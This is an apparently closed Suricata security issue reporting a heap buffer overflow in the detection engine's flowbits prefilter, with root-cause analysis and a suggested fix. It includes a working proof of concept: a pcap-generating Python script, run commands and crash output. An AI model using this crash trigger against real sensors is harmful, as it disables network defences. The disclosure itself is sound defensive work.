Actions
Security #9210
closed
PA
VJ
detect: flowbits prefilter causes heap buffer overflow in DetectRulePacketRules
Security #9210:
detect: flowbits prefilter causes heap buffer overflow in DetectRulePacketRules
Affected Versions:
Label:
CVE:
Git IDs:
06234451716a0a427323051ff200c2a8f6f3d01b
Description
Original report
# Suricata detection engine flowbits prefilter causes heap buffer overflow in DetectRulePacketRules
## Summary
A remote packet sender can trigger a heap buffer overflow in the Suricata detection engine when the active rule set places a `flowbits:set` rule in more than one signature group head (for example a multi-port or bidirectional rule) while the matching `flowbits:isset` rule lands in only one of those groups. On the group that contains the set rule but not the isset rule, each newly set bit is appended to `det_ctx->post_rule_work_queue` and the queue is never drained, so it accumulates across packets. A later packet that selects the group containing the isset rule expands the accumulated queue into `det_ctx->pmq` and writes those entries into the undersized `det_ctx->replace` array, overflowing the heap. The issue was checked on the latest commit.
## Technical Details
The missing check is any capacity bound before `DetectRulePacketRules` writes into `det_ctx->replace`. In `DetectRulePacketRules` (`src/detect.c:898-914`) the residual match candidates and then every `pmq` result are written into `det_ctx->replace`, filtered only on `app_inspect != NULL`, with no limit. `det_ctx->replace` is allocated once in `ThreadCtxDoInit` (`src/detect-engine.c:3542-3545`) with a size derived from `de_ctx->sig_array_len` and is never resized.
The data flow starts in `DetectFlowbitMatch` (`src/detect-flowbits.c:302-310`): when a `flowbits:set` rule matches and `FlowBitSet` returns 1, the `DETECT_FLOWBITS` token and the bit id are appended to `det_ctx->post_rule_work_queue`. `PostRuleMatchWorkQueueAppend` (`src/detect-engine-prefilter.c:1845-1874`) grows the queue by `QUEUE_STEP` and guards its own write, but the same value can be appended repeatedly (set/unset/set within one packet, or leftover state from another flow). `PrefilterFlowbitPostRuleMatch` (`src/detect-flowbits.c:1059-1074`) then looks up each queued item in the `set_ctx` red-black tree and calls `PrefilterAddSids(b->rule_id, b->rule_id_cnt)` for every hit without de-duplication, so many duplicate iids can be stacked in `pmq`. `DetectRulePacketRules` writes those iids into `det_ctx->replace` one at a time; once the count exceeds `sig_array_len`, the write is out of bounds and the subsequent sort runs over the out-of-bounds range.
## Impact
Writes past the end of `det_ctx->replace` corrupt adjacent heap objects, and the following sort operates over the out-of-bounds range. This reliably crashes the detection engine: in IPS mode the network is taken down, in IDS mode visibility is lost. The corruption also carries the potential for further memory corruption.
## Proof of Concept
On the latest commit, `7ad9874c050188cc3cf4c7eafdf90a277f534fb7`, the overflow was reproduced.
Generate the input from a normal checkout and run the engine on it:
```
python3 gen_pcap.py poc.pcap
./src/suricata -c suricata-poc.yaml -S poc.rules -r poc.pcap --runmode single
```
The input `poc.pcap` holds 64 UDP packets with distinct source ports sent to destination port 81, so each is a new flow that newly sets the bit under the rule group containing only the set rule, followed by one UDP packet from a fresh source port to destination port 80, which selects the group containing the isset rule. The rule set contains sig_id 1000001 with `flowbits:set` and sig_id 1000002 with `flowbits:isset`; the rule grouping recorded in `repro_rule_group.json` shows the `udp` toserver port-80 group holds `{1000001,1000002}` while the port 0-79 and port 81-65535 groups hold only `{1000001}`.
Observed output:
```
==11==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b6101ef8760 at pc 0x55d1e5168418 bp 0x7b40ff0b49d0 sp 0x7b40ff0b49c8
WRITE of size 8 at 0x7b6101ef8760 thread T1 (W#01)
#0 0x55d1e5168417 in DetectRulePacketRules src/detect.c:911:30
#1 0x55d1e5169d20 in DetectRun src/detect.c:142:32
#2 0x55d1e50d0b49 in DetectFlow src/detect.c:2939:5
#3 0x55d1e50d0b49 in Detect src/detect.c:3031:9
#4 0x55d1e5103404 in FlowWorker src/flow-worker.c:663:9
#5 0x55d1e4b52cea in TmThreadsSlotVarRun src/tm-threads.c:139:21
#6 0x55d1e4d5741d in TmThreadsSlotProcessPkt src/tm-threads.h:201:17
#7 0x55d1e4d5741d in PcapFileCallbackLoop src/source-pcap-file-helper.c:158:9
#8 0x55d1e586968b in pcap_offline_read savefile.c:535:4
#9 0x55d1e4d56d0e in PcapFileDispatch src/source-pcap-file-helper.c:214:17
#10 0x55d1e4d59b2c in ReceivePcapFileLoop src/source-pcap-file.c:220:18
#11 0x55d1e4b5b23b in TmThreadsSlotPktAcqLoop src/tm-threads.c:336:13
0x7b6101ef8760 is located 0 bytes after 16-byte region [0x7b6101ef8750,0x7b6101ef8760)
allocated by thread T1 (W#01) here:
#0 0x55d1e4b08569 in calloc
#1 0x55d1e4b79075 in SCCallocFunc src/util-mem.c:60:20
#2 0x55d1e50c8988 in ThreadCtxDoInit src/detect-engine.c:3542:28
#3 0x55d1e50c8375 in DetectEngineThreadCtxInit src/detect-engine.c:3651:13
#4 0x55d1e510f9a8 in FlowWorkerThreadInit src/flow-worker.c:282:13
SUMMARY: AddressSanitizer: heap-buffer-overflow src/detect.c:911:30 in DetectRulePacketRules
==11==ABORTING
SURICATA_EXIT=134
```
The process was aborted with exit code 134 (SIGABRT) while handling the final packet; the same input on a version without the triggering path exits normally.
`gen_pcap.py`:
```python
#!/usr/bin/env python3
"""Generate the PoC pcap for flowbits keyword-prefilter heap OOB write.
Traffic layout:
* FLOWS_TO_81 UDP packets, each from a distinct source port to dst port 81.
They select the toserver port-81 rule group (sghA) which contains the
flowbits:set rule but no flowbits:isset rule, so each newly-set bit is
appended to post_rule_work_queue and the queue is never drained there.
* one final UDP packet from a fresh source port to dst port 80. It selects
the toserver port-80 rule group (sghB), which has the post-rule-match
flowbits engine, so the accumulated queue (plus this packet's own append)
is expanded into det_ctx->pmq and written into the undersized
det_ctx->replace array.
Only the standard library is used; no external dependency is required.
"""
import socket
import struct
import sys
def checksum16(data: bytes) -> int:
if len(data) % 2:
data += b"\x00"
s = 0
for i in range(0, len(data), 2):
s += (data[i] << 8) | data[i + 1]
while s >> 16:
s = (s & 0xFFFF) + (s >> 16)
return (~s) & 0xFFFF
def build_udp(src_ip, dst_ip, sport, dport, ident, payload=b""):
udp = struct.pack("!HHHH", sport, dport, 8 + len(payload), 0) + payload
total_len = 20 + len(udp)
iphdr = struct.pack(
"!BBHHHBBH4s4s",
0x45, 0, total_len, ident, 0x4000, 64, 17, 0,
src_ip, dst_ip,
)
iphdr = iphdr[:10] + struct.pack("!H", checksum16(iphdr)) + iphdr[12:]
eth = b"\x02\x00\x00\x00\x00\x02" + b"\x02\x00\x00\x00\x00\x01" + b"\x08\x00"
return eth + iphdr + udp
def main():
out = sys.argv[1] if len(sys.argv) > 1 else "poc.pcap"
flows_to_81 = int(sys.argv[2]) if len(sys.argv) > 2 else 64
src = socket.inet_aton("10.0.0.1")
dst = socket.inet_aton("10.0.0.2")
packets = []
ident = 1
payload = b"AAAA"
# Distinct 5-tuples -> distinct flows, each newly setting bit "x" via the
# flowbits:set rule on the port-81 rule group.
for i in range(flows_to_81):
sport = 20000 + i
packets.append(build_udp(src, dst, sport, 81, ident & 0xFFFF, payload))
ident += 1
# Fresh flow on the port-80 rule group: drains the whole queue.
packets.append(build_udp(src, dst, 9090, 80, ident & 0xFFFF, payload))
with open(out, "wb") as f:
f.write(struct.pack("!IHHiIII", 0xA1B2C3D4, 2, 4, 0, 0, 65535, 1))
ts = 1700000000
for p in packets:
f.write(struct.pack("!IIII", ts, 0, len(p), len(p)))
f.write(p)
ts += 1
print("wrote %s with %d packets" % (out, len(packets)))
if __name__ == "__main__":
main()
```
`repro_rule_group.json`:
```json
{"icmpv4":{},"tcp":{"toserver":[],"toclient":[]},"udp":{"toserver":[{"port":80,"port2":80,"rulegroup":{"id":0,"rules":[{"sig_id":1000001},{"sig_id":1000002}],"stats":{"total":2,"types":{"mpm":1,"non_mpm":1,"mpm_depth":0,"mpm_endswith":0,"negated_mpm":0,"payload_but_no_mpm":0,"prefilter":1,"syn":0,"any5":1},"payload":{"total":2,"payload":1}},"score":0}},{"port":0,"port2":79,"rulegroup":{"id":1,"rules":[{"sig_id":1000001}],"stats":{"total":1,"types":{"mpm":1,"non_mpm":0,"mpm_depth":0,"mpm_endswith":0,"negated_mpm":0,"payload_but_no_mpm":0,"prefilter":0,"syn":0,"any5":1},"payload":{"total":1,"payload":1}},"score":0}},{"port":81,"port2":65535,"rulegroup":{"id":1,"rules":[{"sig_id":1000001}],"stats":{"total":1,"types":{"mpm":1,"non_mpm":0,"mpm_depth":0,"mpm_endswith":0,"negated_mpm":0,"payload_but_no_mpm":0,"prefilter":0,"syn":0,"any5":1},"payload":{"total":1,"payload":1}},"score":0}}],"toclient":[{"port":0,"port2":65535,"rulegroup":{"id":2,"rules":[{"sig_id":1000001},{"sig_id":1000002}],"stats":{"total":2,"types":{"mpm":1,"non_mpm":1,"mpm_depth":0,"mpm_endswith":0,"negated_mpm":0,"payload_but_no_mpm":0,"prefilter":1,"syn":0,"any5":1},"payload":{"total":2,"payload":1}},"score":0}}]},"icmpv6":{}}
```
## Suggested Fix
Add a capacity check in `DetectRulePacketRules` so the number of iids written into `det_ctx->replace` cannot exceed the `de_ctx->sig_array_len`-derived size used to allocate it in `ThreadCtxDoInit`, and de-duplicate the `rule_id`s in `PrefilterFlowbitPostRuleMatch` before calling `PrefilterAddSids` so `pmq` cannot accumulate duplicate iids beyond that capacity.
Actions